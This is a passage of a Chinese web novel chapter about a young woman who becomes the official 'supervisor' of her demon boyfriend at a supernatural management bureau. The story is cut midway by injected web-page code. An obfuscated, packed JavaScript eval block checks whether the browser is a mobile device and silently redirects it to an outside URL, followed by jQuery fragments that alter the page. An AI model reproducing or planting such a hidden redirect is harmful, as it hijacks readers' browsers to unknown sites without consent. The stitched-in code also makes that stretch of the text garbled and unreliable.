舒情没在意他这偶然的失言,她惬意地舒展了一下肢体,呢喃着说:“对我也好啊。” “嗯?” “我现在连噩梦都不做了。”她闭着眼睛说,“睡得也好……” 九素支起了半个身体,盯着她问:“你经常做噩梦吗?” 他这个动作构成了一种极具侵略性的暧昧,舒情不乐意了,无情地将他镇压回去,让他躺着好好说话。 她自己翻了个身,拿他的肩膀当枕头,回答说:“是啊,以前总做。梦见自己死了,还梦见你在一片黑暗里找到了我,你还问我这辈子想怎么过。总之很玄的一个噩梦……” 九素的身体几乎僵硬起来。过了一会儿,舒情都快睡着了,才听见他低声问:“会不会有一天,你后悔了,觉得不应该留我在身边,想离开我?” “啊?”舒情困得迷迷糊糊的,听到这前不着村后不着店的一句,莫名其妙地揪了下他的头发,“说什么呢。” 我说了这么多句,不就是为了表达,和你在一起,我很高兴吗? 但她真是太困了,后面这句话就没说出来,枕着他沉沉睡去。 九素无声地抱着她,好半天没有说话。许久许久,他才把脸埋进了舒情的发丝里,用气声轻轻地向她许愿: “别再抛下我了……” 他知道她已经睡着了,一定没有听见。 可她如果听得见……他也就不会说了。 35. 监管者 转过天来,舒情难得从衣柜里扒出了一身正装,两个人打扮得十分齐整,一起到了超管局。 因为辉耀集团这次的事件影响相当之大,超管局好几位重量级的大佬——其实金万里也算其中一个,都不免十分重视,之前给舒情发许可证的那位“首席特聘专家”谢衡也来了,连超管局的二把手副局长都赶到了H市坐镇。 舒情原本觉得以她们这个层级,不至于直接见到人家副部级的大领导,没想到进到超管局,金万里就把两人一起带进了会议室,大领导和谢衡甚至都已经等在了里面。 舒情:“……” 她以为她是送她的妖怪男朋友来服役的,结果看架势,这不像是来服役,像是空降的一个什么超级特殊人才。 副局长姓杨,五十多岁的年纪,头发有些零零星星的花白,没有染黑,脸上有一道爪痕一般的伤疤,使他看起来格外锋利而严肃,坐在那里,像一把伤痕斑驳的老军刀。 他目光很锐利,看舒情的时候,还会尽量柔和下来,使自己温和一些,以免吓到了小辈;但接触到九素的时候,就丝毫不收敛,那眼神含着警戒与压迫感,仿佛与凶兽狭路相逢的老猎人。 九素既不觉得这个“入职阵仗”叫他受宠若惊,也全然不怵杨局的眼神。他和两位领导走完了简短的问候与自我介绍流程,末尾,还特意强调了一句:“当我是特勤部的一个新员工就好。” 舒情心说:那不然呢? 杨局和谢衡却全然不以为忤,反而都微微松了一口气似的,这看起来很严厉的杨局还点点头,说:“是该这样。那么,一切就都按照超管局的规章来了。” 九素应了,这暗流涌动的认识新面孔环节就算过去,轮到了故人之间的寒暄。 谢衡朝舒情露出了一个友善的微笑,和她握手:“舒小姐,又见面了。” 有杨局做对比,谢衡显得格外温和好说话,舒情对此人印象很好,露出了一个由心而发的笑容,“谢教授好。” 杨局今天是第一次见舒情,但显然早就知道她是谁了,对这种有想法、还能自己支棱起来的年轻人颇为欣赏,夸了几句“年少有为”、“前途无量”之类的。然而提及她和九素关系的时候,他略略迟疑了片刻。 九素适时插话说:“她是我的监管者。” “什么东西,”舒情一愣,心说,“我不是你女朋友吗?” 但是顶着杨局沉沉的目光,她没把这句质疑问出口,只是疑惑地盯着九素,希望他能给她一个解释。 九素轻轻握了一下她的手表示安抚,但什么也没说,倒是杨局率先开了口,问谢衡:“舒小姐符合条件吗?” “客观上符合。”谢衡保守地回答,“她在一开始养育许可证办理考核的时候,表现十分优秀,这次遭到辉耀集团超常生物的袭击,也临危不乱,还做了教人们遇到类似事件如何自保的视频。可以说,她完全具有高危超常生物监管者应有的素质。” “主观上呢?” “主观嘛,”谢衡无奈地笑了笑,“主观条件,实际上,所有监管者都很难符合。如果真的客观、冷静、彼此间毫无感情,哪个高危超常生物会愿意接受监管呢?比如我和万里,也不是没有感情啊。” 金万里在一边一脸高冷地“哼”了一声,但没否认,可见只是一以贯之的口是心非。 杨局沉吟片刻,好似接受了这个说法,点点头,又问了几个问题。其实无非就是要求九素往后遵循法治社会的规则、严格遵守纪律和法律法规,乃至于忠诚于国家与人民,为人民服务之类的,是一些例行公事的政治正确。 然而他丝毫不敷衍,口吻严肃而笃定,仿佛想用眼神和语气,把这番教育刻进大妖怪的骨头里。 九素也很配合,杨局说一句他就答应一句,但就他的行事风格来看,舒情觉得,她八成还得对他进行一些家庭再教育。 谢衡看着这边好似没有他什么事了,就适时地向舒情发出邀请:“舒小姐倘若有空,我带你去临时收容室,看看那些从辉耀集团带回来的超常生物?” 舒情本来就有心去领养几只小妖怪,谢衡不提,她今天也要提的,立刻说:“好啊。”她轻轻握了一下九素的手,表示暂且分开一会儿。 九素含笑放开了她。 舒情跟着谢衡走出会议室,终于有机会问她刚才一直想问的那个问题:“监管者是什么?” 谢衡一愣,笑了,“他没有和你说吗?” 舒情诚实地摇摇头。 谢衡无奈地笑了笑,眼神里流露出一丝不以为然,但并没有就此事发表什么点评,尽职尽责地给她解惑:“按照超管局的规定,像他们这种高危级别的超常生物……尤其是伤过人的,都需要有一个信得过的人监管,以免高危超常生物失控,酿成不可挽回的悲剧。” “我就是万里的监管者。”他按开了电梯门,侧过身,彬彬有礼地请舒情进去,随后说,“主要职责是引导他融入现代社会,监督他不要做出什么违法、犯罪的行为;至于对应的权力,你也见过的。” 不用他说,舒情就想起来她去考那个养育许可证的时候,金万里中途翻脸,暴起伤人,但谢衡举手之间就制止了他。 舒情问:“是拘束设备之类的吗?妖怪必须一直佩戴,监管者可以启动或者关闭?” “对。”谢衡赞许地点点头,对她这一点就透的聪明劲十分欣赏,他正色说,“但你的情况还不太一样。” “叮咚”一声,电梯停了下来,出了电梯就是超管局的临时收容室。谢衡在收容室沉重的金属门前停下了脚步,笑了笑,问:“舒小姐和九素先生……是恋人关系吧?” 舒情坦然说:“是。”他们根本就没想隐瞒。 “这就是区别。”谢衡严肃起来,他平时温和儒雅的气质,主要源于他噙着微笑的表情,现在换了一张脸,竟然很有威慑力,“我明白舒小姐愿意无视种族之别做出这个选择,一定有你的道理,也知道这样说十分讨嫌,但我还是要请求你,请控制好你的感情。” 舒情微微地皱了一下眉。 “既然接受了九素先生作为人类社会的一员,那就应该给他和人类同等的尊重,有些事我不方便多说。”谢衡说,“但辉耀集团那位陈总的真正死因,舒小姐想必十分清楚,从来没有什么‘暴起反抗’。他潜逃的时候,身边甚至有一个7.6级超常生物作为护卫,舒小姐知道这意味着什么吗?” 舒情面无表情地回答:“意味着他违反了《关于超常生物分级与私人饲养的相关规定》,而且情节严重。” 这句废话般的真理把谢衡都给噎了一下。 “这么说吧,”谢衡只得透露说,“超管局在每个省,最多只有一个8级超常生物坐镇,有些省份甚至只有7级。一个7.6级超常生物,带上四五个5级、6级,几乎接近于一个省的特勤部战斗力。九素不是从这群超常生物手里逃出来,他是独自制服了它们,两者之间截然不同,你能明白吗?” 舒情咬了咬牙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259468|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她想继续装傻充愣地怼一句“我明白,他制服了凶恶的犯罪团伙,给超管局减少了许多不必要的人员伤亡”,话到了嘴边,她硬生生咽了回去。这带着刺的话吞回肚子里,剌得她咽喉几乎隐隐作痛。 谢衡想表达什么,其实已经说得很清楚了,九素太能打、太危险,没法控制。他一个人能打也就算了,金万里还跟他异常亲近,两个人不是亲兄弟胜似亲兄弟。 而他非我族类。 这样一个恐怖的异类,谁能让他低头戴上拘束的镣铐,那就至关重要了,所以杨局要亲眼来看她,所以谢衡要亲自来跟她交代这些话。 她不管不顾地怼回去,是痛快了,然后呢,他们要是觉得她不行呢? 那他的命运会被交到谁手里,他会被谁掐住喉咙? 她硬生生地忍住了这一口气,在心里给九素狠狠记了一笔账,试探着问:“像他这种情况,要是没有监管者怎么办,怎么处理呢?” 谢衡知道她已经明白了,微微一笑,恢复了平时儒雅的表情,解答说:“那么社会就无法接纳他。如果他躲藏在山林里,我们也许还可以不理会,但一旦他在社会上现身,我们会立刻缉捕他,至少是驱逐他。” 舒情胸口微微地起伏着,恨不能将自己放进榨汁机里拧一拧,好再压榨出来一些宽容和耐心。 “抱歉,舒小姐。”谢衡十分理解地叹了口气,“我同样也觉得这对高危级超常生物并不公平。然而高危级超常生物一旦失控,造成的破坏实在惨重。三十年前……那时你虽然还没出生,但你应该知道,N市那场18级的风暴正是万里造成的,损失也不必多说了。” 这场大天灾没有人不知道,小半个城市都在那场风暴中被夷为平地,现在去N市,还能看见一半建筑是新的,一半建筑是旧的,两边格格不入。 “人民的安全终究才是最重要的,”谢衡正色说,“我们不能冒这个险。” 他的话合情合理,舒情无言可以辩驳,于公于私,她都没法从这里面挑出什么不对来。 然而这一刹那,她无端想起了九素从前反复和她说过的“我们只是朋友之谊”、“当我只是一个过客”。 他曾说过,他想回归山野间…… 他是不是早就知道留在人世的代价,是不是正因为知道,之前才有那千般不愿,万般挣扎? 她的脸色一定是已经苍白了,因为九素从她背后走过来的时候,不仅搂住了她的肩膀,还担忧地问了句:“怎么了?” “没什么……”舒情掩饰着说,看向谢衡,“不是说带我们去看那些小妖怪吗?” 谢衡笑了笑,没有再坚持和舒情谈“监管者”这个话题,来到金属门前刷了脸和工卡。他作为首席专家,在任何地方的超管局都有极高的权限,沉重的大门上方闪起绿灯,两扇门缓缓打开了,敞开了门后长长的走廊。 “这边请——这里的收容室区域不大,建造的时候,也没想过有一天会收容这么多超常生物,看上去条件恐怕不会太好。”谢衡边走边介绍,“所以我们也希望能尽早有人来领养它们。舒小姐的粉丝群体里,符合条件的人应该不少,我想请舒小姐帮忙宣传一二。” 这不是问题,舒情点头答应了,谢衡又说:“另外还有一件事,希望能和舒小姐合作。” “什么事?” “我听万里说,舒小姐具备一种将‘人气’转化为‘妖怪力量’的特殊天赋?”谢衡笑问,“听上去非常特别,不知道是不是真的?”